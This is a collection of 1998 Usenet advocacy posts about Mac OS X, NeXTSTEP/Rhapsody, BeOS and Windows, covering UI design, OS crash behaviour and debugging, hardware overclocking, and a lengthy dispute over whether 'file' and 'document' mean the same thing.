>How consistent is it to have *buttons* in a *menu*bar? If you really
>need a global button bar, there's the Control Strip.
Completely consistent - since the menubar is a menu, and all the other
menus permit you to select other items than submenus.
Please let's not get into this again - anyone who wants to claim that
the menubar is not a menu - just go away an look things up in a dictionary
and/or general (ie not mac specific) ui design book.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sun, 02 Aug 1998 10:04:12 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6q1dir$kn7$1@nnrp1.dejanews.com>
References: <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu> <not-2407981816490001@ip-26-140.phx.primenet.com> <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu> <not-2607981725340001@ip-26-178.phx.primenet.com> <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu> <not-2707981327520001@ip-26-031.phx.primenet.com> <Pine.SOL.3.96.980727162726.19424A-100000@ux7.cso.uiuc.edu> <01bdb9f3$8703da10$3643bacd@isdnjhendry> <6pvl66$5ms@news1.panix.com> <joe.ragosta-0108982044400001@elk34.dol.net>
In article <joe.ragosta-0108982044400001@elk34.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Most PCs don't have AGP. Only newer systems (< 1 year old) have AGP.
> MATROX IS SCREWING THEIR CUSTOMERS!!!!
>
> (at least if you hold them to the same standards that people are trying to
> hold Apple to).
Matrox doesn't make computers so how could not creating a card for a specific
interface system screw their customers?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my great old NeXT apps work on Rhapsody/ OS X?
Date: 2 Aug 1998 06:47:40 GMT
Organization: Michigan State University
Message-ID: <6q122d$cn5$1@msunews.cl.msu.edu>
References: <35BE8245.381E@launchnet.com> <6pnhrl$9d3@shelob.afs.com>
<6pns4i$bhj$1@nnrp1.dejanews.com> <6po2vo$n0f$1@lwnws01.ne.highway1.com>
<6ppd9m$f9$2@tallowcross.uni-frankfurt.de>
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Cc: uli@tallowcross.uni-frankfurt.de
In <6ppd9m$f9$2@tallowcross.uni-frankfurt.de> Uli Zappe wrote:
> John Kheit <jkheit@mediaone.net> wrote:
> > On a somewhat related note, I've heard that one can copy intel
openstep
> > (maybe nextstep) libraries to DR2, and get some of the old next
apps
> > running on an intel version of DR2. I haven't seen or tried this
myself.
>
> *Almost* true. The fact is that *NEXTSTEP 3.3* apps do run under
> Rhapsody/Intel once the 3.3 libs are installed :-)) , while
*OPENSTEP* apps
> do not (the OPENSTEP libs would conflict with the Rhapsody ones).
>
Uli,
I'm glad someone pointed this out! BTW: I suspect that one
could still do the following just like people did before. If you have
any first hand knowledge on this go ahead and e-mail me privately.
Maybe someday I'll get DR2 for Intel and if 3.3/4.2 stuff ran it might
just be a reason to play with it.
make the following
/3.3/lib
/4.2/lib
/usr/lib (Rhapsody)
And then Hexedit the binaries to point to the needed libraries..
Though I suspect
other issues may make somethings not run while others run fine.
YMMV.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 2 Aug 1998 12:58:59 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6q1nqj$puv@news1.panix.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <35BFB0BB.1AB6@geocities.com> <6pqamt$s5d$1@plo.sierra.com> <6pqqjc$jr6$1@lwnws01.ne.highway1.com> <andyba-ya02408000R3107981030580001@news> <6pt4vl$5sv$3@lwnws01.ne.highway1.com> <6pvl64$5ms@news1.panix.com> <6pvou9$5m3$1@lwnws01.ne.highway1.com>
On 1 Aug 1998 19:05:45 GMT, John Kheit <jkheit@mediaone.net> wrote:
>sal@panix.com (Sal Denaro) wrote:
>> John, I agree that Apple needs to address UI scalability in
>> MacOSX; but, I think it would be a mistake to just use the OpenStep
>> UI. Sales of Windows show that the masses would rather use
>> something they know than something that is better.
>Sal, I'm not advocating for apple to use the OPENSTEP UI. Ideally what *I*
>would like to see is a brand new UI that is completely designed based on
>merit, rather than on any notions of habit, tradition, nastalgia, etc.
I would like that as well. I would also like to date Peta Wilson. It ain't
gonna happen, but the wishful thinking is nice...
Someone described Apple spending time on the MacOSX UI as "polishing the
brass on a sinking ship". I tend to agree with this assesment. Apple
needs to SHIP THE DAMN THING, and then worry about improving the UI.
It isn't Apple's UI that is causing users to leave to Wintel, and it isn't
the Wintel UI that is drawing in users. Apple needs to ship a REAL OS,
REAL SOON.
> Since
>we're going to have this Theme Manager,
It would make a lot of sense if Apple set up hooks so a 3rd party could
create and install a custom UI from the Theme Manager. From what I
understand, this is in the planning stage.
>themes. And I'm not just talking pretty paint themes, I'm talking real
>functionality. This would work as a gentle prod for users to try the new
>"best" UI from apple, but if they really want to stick to the old UI, they
>are free to do so. Of course, this will never happen.
I have a better shot at dateing Peta Wilson than that happening any time
soon :)
From: RasAllGhul@webtv.net (Joshua Moore)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: What Be SHould have Done!
Date: Sun, 2 Aug 1998 08:06:21 -0400 (EDT)
Organization: WebTV Subscriber
Message-ID: <4490-35C4563D-6@newsd-123.bryant.webtv.net>
References: <35C3D908.7DB0@SPAMGUARD.wayne.edu>
Mime-Version: 1.0 (WebTV)
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ETAsAhRjLkhS0b/SU+ViRvv920M5cU2p+QIUFoFPSkdyJf6lO98s6+XeTlC5SjQ=
Eric=A0Iverson wrote:
>Joshua Moore wrote:
>>Be did sign licenses with Motorola,
>>PowerComputing, and Umax to replace
>>MacOS with BeOS.
>No, BeOS was not going to REPLACE Mac
>OS. BeOS on PowerMac or PMac clones
>couldn't RUN without Mac OS (it would've run
>on CHRP machines without Mac OS, though).
>There's NOTHING in these articles that says
>anything about BeOS REPLACING MacOS,
>though there is some uneducated innuendo.
From http://www.macworld.com/daily/daily.1063.html:
"At Motorola for instance 'if circumstances prevail' the company will
install the BeOS on certain StarMax PowerPC systems, replacing the MacOS
completely, said Dennis Saloky, director of marketing programs for the
company."
So yes it was alluded to, even though I did blow it out of proportion.
But that's why I included the URLs, so that anyone interested could
judge for themselves. Nothing was intended out of malice.
>>The only problem seems to be that the
>>cloners were making their bread and butter
>>selling the MacOS and were counting on that
>>revenue during the transition to Be.
>No transition, they were just going to ADD
>BeOS to the bundle.
They were starting a transition to Be, to hedge their bets in case
something went wrong with Apple, or Rhapsody. All three articles said as
much. I extrapolated from the "PR speak" based on my understanding of
the tension between Apple and the cloners.
To me it seemed like the cloners were looking for a way to save their
businesses before Jobs brought down the ax. You're free to draw your own
conclusions.
------
"But there's nothing more sadistic than an infant, waving his pistol in
my face. He wants me right down on my knees, crumbling in disgrace.
He underestimates my mind, I know he's messing with my head." - Trigger
Happy Jack by Poe
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.ms.windows.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.os2.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Final Advocacy BloodDrive Update
Date: Sun, 2 Aug 1998 09:09:02 -0500
Organization: Prairie Group
Message-ID: <MPG.102e2efd1815cc9b989a73@news.supernews.com>
References: <MPG.101c7bc9a5a016729899c5@news.supernews.com> <macghod-1907982246160001@sdn-ar-001casbarp151.dialsprint.net> <MPG.101cf9e22c0037309899ca@news.supernews.com> <slrn6r6jnt.9fc.sal@panix3.panix.com>
After three weeks, here are the totals:
Macintosh 2.5 votes
BeOS 1.0 votes
Windows .5 votes
If I get a slew of votes I'll post again, but it looks like there's very
little interest.
So, farewell, and the patients needed blood thank those who gave.
Donald
Date: Sun, 02 Aug 1998 11:07:50 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-0208981107500001@elk36.dol.net>
References: <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net> <6psua5$dj9$1@plo.sierra.com> <joe.ragosta-0108980723530001@elk78.dol.net> <6pvq5u$lb9$1@nnrp1.dejanews.com>
In article <6pvq5u$lb9$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <joe.ragosta-0108980723530001@elk78.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > > And its much, much, much easier for a programmer to do something
stupid and
> > > kill MacOS than it is to kill Windows.
> >
> > A statement for which you've NEVER provided one shred of evidence.
>
> OK, Windows 95 protects you again memory overwrites, a very common programming
> error. The following code crashes my Mac but not my PC:
>
> strcpy( (char *) 0, "Restart Mac here (interupt vector gone)." );
>
So what? The following messes up my Windows machine and not my Mac:
"fdisk".
I'm sure that there are plenty of other examples as well. There are
machine specific problems with every machine. Until you can prove that
Macs crash more often than Windows, your example is meaningless.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 2 Aug 1998 10:16:34 -0500
Organization: Prairie Group
Message-ID: <MPG.102e3ecc5608a225989a74@news.supernews.com>
References: <MPG.102cdcef3b927c5d989a6e@news.supernews.com> <6pvp48$5m3$2@lwnws01.ne.highway1.com>
In article <6pvp48$5m3$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net
says...
> > Unless, of course, the lawyer was working on a contigency fee.
> > In which case, the lawyer would get his thirty cents. And he'd
> > have earned it all.
>
> You're very clever.
>
After having been ripped off in a lawsuit for $40,000 for a magazine I
was on the board of directors on, where the lawyer for the class action
SAID he would settle for only $40,000 because he knew I didn't do
anything, and my lawyer informed me it would cost over $100,000 to fight
and win, I take pleasure in doing anything I can to screw lawyers over.
Donald
Date: Sun, 02 Aug 1998 11:45:12 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-0208981145130001@elk36.dol.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ppbmg$m1p$1@bunyip.cc.uq.edu.au> <6pq2n2$q44@newsb.netnews.att.com> <6pqa9r$s09$1@plo.sierra.com> <joe.ragosta-3007981600420001@wil33.dol.net> <6prd57$h22$1@bunyip.cc.uq.edu.au> <joe.ragosta-3107981050490001@wil31.dol.net> <6pu3r9$hmv$1@bunyip.cc.uq.edu.au> <joe.ragosta-0108981416480001@elk90.dol.net> <6q0p1g$sva$1@bunyip.cc.uq.edu.au>
In article <6q0p1g$sva$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote in message
> joe.ragosta-0108981416480001@elk90.dol.net...
> >In article <6pu3r9$hmv$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
> ><drsmithy@usa.net> wrote:
> >
> >> >It's clocked at 66x2.5. I've never been able to go any higher than
> that,
> >> >even with a massive, expensive heat sink.
> >>
> >> The CPU is probably multiplier-locked, you'd most likely have to up the
> bus
> >> speed to overclock. Couldn't say for sure, I don't know that much about
> >> Cyrix CPUs since I avoid them whenever possible. That motherboard
> supports
> >> 75 & 83Mhz bus speeds IIRC, so try running at 2.5x75. 83Mhz bus usually
> >> requires very good quality EDO RAM or SDRAM, although you can sometimes
> get
> >> away with it with "normal" stuff.
> >
> >I tried 2.5 x 75. No go. Then, I tried 2 x83 and that didn't work either.
> >
> >I'm using SDRAM.
>
> Weird, or rather, unlucky. If you're really keen to overclock (which I
> doubt) you could try upping the CPU core voltage slightly - however this can
> have smoke-releasing consequences, and as everyone knows, computers don't
> run if you let the smoke out :).
Actually, I tried that, as well. I think I tried 3x60 as well and it
didn't work, so it doesn't appear to be a memory or PCI card issue.
I just figured that I got a 6x86 which was pushed as far as it can go.
When I have some extra cash to splurge, I'm going to get a K6/266 anyway.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sun, 2 Aug 1998 10:58:47 -0500
Organization: Prairie Group
Message-ID: <MPG.102e48b5fc2bd650989a7b@news.supernews.com>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com> <6pisq8$jtg$1@nnrp1.dejanews.com> <joe.ragosta-2807980911080001@wil43.dol.net> <35c4e136.45677265@news.mindspring.com> <joe.ragosta-3107981049230001@wil31.dol.net> <6pt9ce$est$1@nnrp1.dejanews.com> <6ptgu1$nd3$1@plo.sierra.com> <alex-0108981542080001@castle.webis.net> <1dd3uyh.12sd1eaezz4wN@dialup93-1-39.swipnet.se>
In article <1dd3uyh.12sd1eaezz4wN@dialup93-1-39.swipnet.se>,
lars.farm@ite.mh.se says...
> Alex Kac <alex@webis.net> wrote:
> >: quinlan@intergate.bc.ca wrote in message
> >: <6pt9ce$est$1@nnrp1.dejanews.com>...
>
> >: If he's working on any kind of Unix, Windows, or BeOS, then yes, he
> >: would immediately find it, because the system would halt the app, and
> >: the debugger would show him the exactly line of source. If he's on
> >: MacOS, the system freezes, with no indication whatsoever where the
> >: error is. He will then spend several minutes rebooting, and
> >: restarting the app and trying to reproduce the same conditions.
> >:
> > If he's any kind of programmer, he has Macsbug installed which will show
> > him exactly where it crashed and why.
>
> He's right and you're wrong. The Mac dies. Restart from CD and let DFA
> work, then restart again. You're left without hints about what happened.
He may be right or he may be wrong. Not all crashes will go into
Macsbug, but most do. Of course, Macsbug can't always show you what
caused the problem...crashing into Macsbug is like arriving at a car
crash that had no witnesses. Figuring out just what caused the crash
isn't always obvious.
Which is why he should be running under a source-level debugger
(Metrowerks debugger or if you need power Jasik's The Debugger). This
makes it a lot easier to find problems.
Donald
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 2 Aug 1998 16:21:36 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6q23mg$9u@news1.panix.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <35BFB0BB.1AB6@geocities.com> <6pqamt$s5d$1@plo.sierra.com> <6pqqjc$jr6$1@lwnws01.ne.highway1.com> <andyba-ya02408000R3107981030580001@news> <6pt4vl$5sv$3@lwnws01.ne.highway1.com> <6pvl64$5ms@news1.panix.com> <01bdbdd8$989418b0$efb5dccf@samsara>
On 1 Aug 1998 19:43:15 GMT, Jonathan Hendry <jhendry@cmg.fcnbd.com> wrote:
>> Sales of Windows
>> show that the masses would rather use something they know than something
>> that is better.
>I don't see how Windows demonstrates that.
Lots of people buy Windows because it is the default, not because it is good.
Making the MacOSX UI look "like MacOS, but better" would be a very safe and
very pragmatic thing to do. Building a better UI could be done after that.
>I'm not convinced that people are so resistant to different UI's.
End users? No. Large IS groups? Yes. They are not willing to gamble with
their careers. That's why the hire us consultants for anything that might
be even slightly risky. Pure CYA politics.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 2 Aug 1998 16:21:37 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6q23mh$9u@news1.panix.com>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6pmooa$u1p$1@nnrp1.dejanews.com> <stevehix-0108981433570001@ip57.safemail.com> <6q0aqr$flf$1@nnrp1.dejanews.com>
On Sun, 02 Aug 1998 00:11:08 GMT, quinlan@intergate.bc.ca
<quinlan@intergate.bc.ca> wrote:
>In article <stevehix-0108981433570001@ip57.safemail.com>,
> stevehix@safemail.com (Steve Hix) wrote:
>> Try: "Imagine if Microsoft had continued to develop Windows95
>> after they had released WindowsNT...", it's closer to the actual
>> relationship.
>Nope, Windows NT lacks features that people get in Windows 95
MS claims that NT is a superset of Win32. Anything in '95 will be moved to
NT, not everything from NT will be moved to '95.
>and the user
>interface in NT isn't as good as it is in Windows 95.
It is the same UI. They use the same style guide.
>Mac OS X, AFAIK, will
>have a strick superset of the features found in OS 9 and the UI will be as
>good or better.
The NT:95 as MacOSX:OS8 analogy works well for me.
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp,sys.next.programmer,comp.sys.mac.programmer
Subject: Distinction between Files and Documents (was Re: Mac OS X UI)
Followup-To: comp.sys.next.programmer,comp.sys.mac.programmer
Date: 2 Aug 1998 18:34:17 +0200
Organization: The Computer Society at Lund
Message-ID: <6q24e9$5st$1@bartlet.df.lth.se>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <andyba-ya02408000R3007981322040001@news> <SCOTT.98Jul30210152@slave.doubleu.com> <andyba-ya02408000R3107981056140001@news>
NNTP-Posting-User: cb
(Followup-To: comp.sys.next.programmer,comp.sys.mac.programmer)
In article <andyba-ya02408000R3107981056140001@news>,
Andy Bates <andyba@corp.webtv.net> wrote:
>In article <SCOTT.98Jul30210152@slave.doubleu.com>,
>scott@nospam.doubleu.com (Scott Hess) wrote:
>
>> In article <andyba-ya02408000R3007981322040001@news>,
>> andyba@corp.webtv.net (Andy Bates) writes:
>> In article <SCOTT.98Jul28084322@slave.doubleu.com>,
>> scott@nospam.doubleu.com (Scott Hess) wrote:
>> > It wasn't in a filesystem, therefor it wasn't a file.
>>
>> See, this is where we differ. I'm talking about the conceptual idea
>> of a "file" as the user understands it; you're talking about the
>> literal "it's only a file if it's in a filesystem" idea of a file.
>> For a user interface, the first one is important, not the second
>> one.
>>
>> Then what difference does it make if we call it "document", instead?
>
>It really doesn't make much difference, except "File" takes up less room on
>a menu bar.
The difference is also that the word 'File' in the computer context comes
from the use of a file system for storing documents, whereas users want to
work on their actual documents (they don't really care how they're stored,
do they?), so 'Document' is a more suitable general-case label for the
menu. Of course, a spreadsheet might name the menu 'Spreadsheet', an image
editor might call it 'Image', etc ... an application that could handle
multiple types of documents might have one menu for each type.
>
>> But to the users, a document and a file are the same thing. That's
>> my point. If you have a letter in memory, or on the hard disk,
>> printing each one out will result in the exact same printed result.
>> Likewise, both look the exact same when loaded into memory.
>> Therefore, conceptually, they are both the same thing. They are
>> both files, in the most general sense of the word.
>>
>> The problem is that you've taken the word "file" and redefined it to
>> have the usual meaning of "document".
>
>By the literal, dictionary definition of "file," it means the same thing.
>The only problem comes when you use the filesystem definition of "file."
>This definition does not matter to the user.
I'm sorry, but the definition of 'File' in the computer sense _is_ the
filesystem definition; your attempt to re-define 'file' to mean 'document'
is wrong, and not supported, even by an ordinary dictionary. If
'File' indeed was a synonym to 'Document', I think a dictionary
would reflect that; Here's what Webser's dictionary & thesaurus say about
'File' and 'Document' respectively (and these are the _full_ results for
looking up these words in Digital Webster's as it is on my NeXTCube,
nothing snipped).
--- begin quote: 'file' ---
1file \'f
[ME, fr. OE fe
(bef. 12c)
1: a tool usu. of hardened steel with cutting ridges for forming or
smoothing surfaces esp. of metal
2: a shrewd or crafty person
2file vt filed; fil·ing
(13c)
:to rub, smooth, or cut away with or as if with a file
3file vt filed; fil·ing
[ME filen, fr. OE fy
chiefly dial
(bef. 12c)
:DEFILE, CORRUPT
4file vb filed; fil·ing
[ME filen, fr. MF filer to string documents on a string or wire, fr. fil
thread, fr. OF, fr. L filum; akin to Arm j il sinew]
vt
(15c)
1: to arrange in order for preservation and reference <file letters>
2a: to place among official records as prescribed by law <file a mortgage>
b: to send (copy) to a newspaper <filed a good story>
c: to return to the office of the clerk of a court without action on the merits
3: to perform the first act of (as a lawsuit) <threatened to file charges
against him>
~ vi
1: to register as a candidate esp. in a primary election
2: to place items in a file
5file n
(1525)
1: a device (as a folder, case, or cabinet) by means of which papers are
kept in order
2a archaic: ROLL, LIST
b: a collection of papers or publications usu. arranged or classified
c: a collection of related data records (as for a computer)
on file: in or as if in a file for ready reference
6file n
[MF, fr. filer to spin, fr. LL filare, fr. L filum]
(1598)
1: a row of persons, animals, or things arranged one behind the other
2: any of the rows of squares that extend across a chessboard from white's
side to black's side
7file vi filed; fil·ing
(1616)
:to march or proceed in file
file´ \fe-'la
[AmerF (Louisiana), fr. F, pp. of filer to twist, spin]
:powdered young leaves of sassafras used to thicken soups or stews
§ Thesaurus:
file n
syn LINE 5, echelon, queue, rank, row, string, tier
--- end quote: 'file' ---
--- being quote: 'document' ---
1doc·u·ment \'da
[ME, fr. MF, fr. LL & L; LL documentum official paper, fr. L, lesson,
proof, fr. docere to teach more at DOCILE]
(15c)
1a archaic: PROOF, EVIDENCE
b: an original or official paper relied on as the basis, proof, or support
of something
c: something (as a photograph or a recording) that serves as evidence or proof
2a: a writing conveying information
b: a material substance (as a coin or stone) having on it a representation
of the thoughts of men by means of some conventional mark or symbol
c: DOCUMENTARY
doc·u·men·tal \,da
2doc·u·ment \'da
(1711)
1: to furnish documentary evidence of
2: to furnish with documents
3a: to provide with factual or substantial support for statements made or
a hypothesis proposed; esp: to equip with exact references to
authoritative supporting information <the thesis was well documented with
footnotes on every page>
b: to construct or produce (as a movie or novel) with authentic situations
or events <his film documented the living conditions in the ghetto>
4: to furnish (a ship) with ship's papers
doc·u·ment·able \-e-bel, ,da
doc·u·ment·er \'da
§ Thesaurus:
document n
1 something preserved and serving as evidence (as of an event, a
situation, or the culture of a period) <ceramic and flint artifacts
provide our only document of this ancient people>
syn archive(s), monument, record
rel evidence, testimony
2 usu documents pl syn CREDENTIALS, certification, documentation, paper(s)
--- end quote: 'document' ---
Not the complete absence of anything that indicates an equivalence of
meaning of 'file' and 'document' in _any_ senses of the words.
>
>> While a good argument can be
>> made that the general user confuses the terms, that doesn't mean such
>> confusion should be a _goal_.
>
>But it's not "confusion" to the user, since the user doesn't care (or need
>to care) about the difference between a file in memory and a file on the
>disk!
Wrong - the User doesn't care or need to care about the destinction
between a Document in Memory, or a Document in a file (which in turn might
be on disk, on tape, in a RAMdisk, or whatever).
The main concept that the user works with as he works within his
application, is the Document that the application handles.
The concept of 'File' is directly related to the possibility of making the
Document persistent or preparing it for transfer somewhere else. If the
user does not need to do either of those things with his Document, then
the concept of File need never be introduced. And even if the user does
need to store or transfer the Document, the concept of File can be hidden,
from the user.
You could, conceptually, have a system where you access your Applications
from one distinct part of the interface, and your Documents from another
distinct part; then you would never have to tell the user about the fact
that both Applications and Documents are stored in Files.
Again: Both Applications and Documents _are stored in_ Files. Neither of
them _are_ Files, however. And moreso, you need never introduce the
concept of 'File' to the user, sonce the user generally worries about
their _contents_ (Documents and Applications).
Actually, I beleive the PalmOS system (PalmPilot, Palm III) has this
distinction between Applications and Documents, and that the concept of
'File' never shows up.
>
>> Importantly, if you want to subvert the
>> word "file" to mean "document", then what should we literal people say
>> when we _mean_ "file"?
>
>It depends on the context; if you're talking to a bunch of programmers,
>they'll know what you're talking about. It seems that you are the one who
>wants to subvert the word "file," since you are modify the dictionary
>definition (a collection of data) and making it more specific (a collection
>of data located within a filesystem).
Well, in a computer context, the connection with a file system is the
thing that differenciates between just any old collection of data and a
File, so you are incorrect that we are trying to subvert the word 'file'.
And again, even if the dictionary definition is 'file: a collection of
data', this does _not_ mean that there is automatically a definition in
the opposite direction, ie 'collection of data: file'. You are making the
mistake of assuming an equivalence where only an implication exists, as I
have pointed out numerous times.
>
>> Specifically, files manipulated by the Finder,
>> Explorer, or Workspace Manager are files, not documents (regardless of
>> whether they're files _containing_ documents, you are manipulating
>> them as files, not documents. They don't have the richness of
>> documents).
>
>And again, the distinction doesn't (and shouldn't) matter to the user.
Oh, but the distinction is there, and does matter to the user.
In some contexts, the User will want to work with Documents; in other
contexts, the user fill want to work on Files. They are two distinct
concepts which serve different purposes. Again, I already examplified why
the user might never need to come across the concept of a 'File' at all.
On those systems where the concept of File _is_ exposed to the user, there
is usually a good reason - namely that of allowing to work with _files_ as
_files_ - that is, allowing the user to handle the containers without
worrying without their contents. Thus, the 'File' concept is _very_
important, and it is important to keep it distinct from the concept of
'Document' - a line which you are attempting to blur.
>
>> I think a valid working definition of "file" would be "a serialized
>> form of a document". In less technobabble terms, "a file is a form of
>> a document which can be transported as a unit, and read in elsewhere
>> to recreate the original document." Just because people sometimes use
>> the terms interchangeably doesn't mean that they don't know the
>> difference,
>
>But to the user, "File" works just fine, and is technically accurate. Which
>was my original point.
No, it is not technically accurate, no matter how many times you say it.
There is no one-to-one correspondence, no equivalence, between documents
and files. I can store multiple Documents within one File, or I could use
multiple Files to store one Document; there is a very distinct difference.
In fact, the difference between 'File' and 'Document' is _very_ apparent
on a NeXT system, or OPENSTEP, or Rhapsody: a RTFD document (Rich Text
with embedded pictures etc) is stored in several files, all 'bundled up'
in one directory. The text is in one file, each image is in another. Yet a
Rich Text Editor will treat this as one unit, one _Document_. And, as long
as I use the editor to look for the Document, I will find it as _one
Document_.
In the Workspace application, by default it is also presented as one
entity (since the Workspace is often used to locate documents and
double-click on them to open them in the appropriate application). Byt
with a simple command ('File->Open as Folder', or Command-Shift-O) I can
view the contents of the directory - I can get at the different _Files_
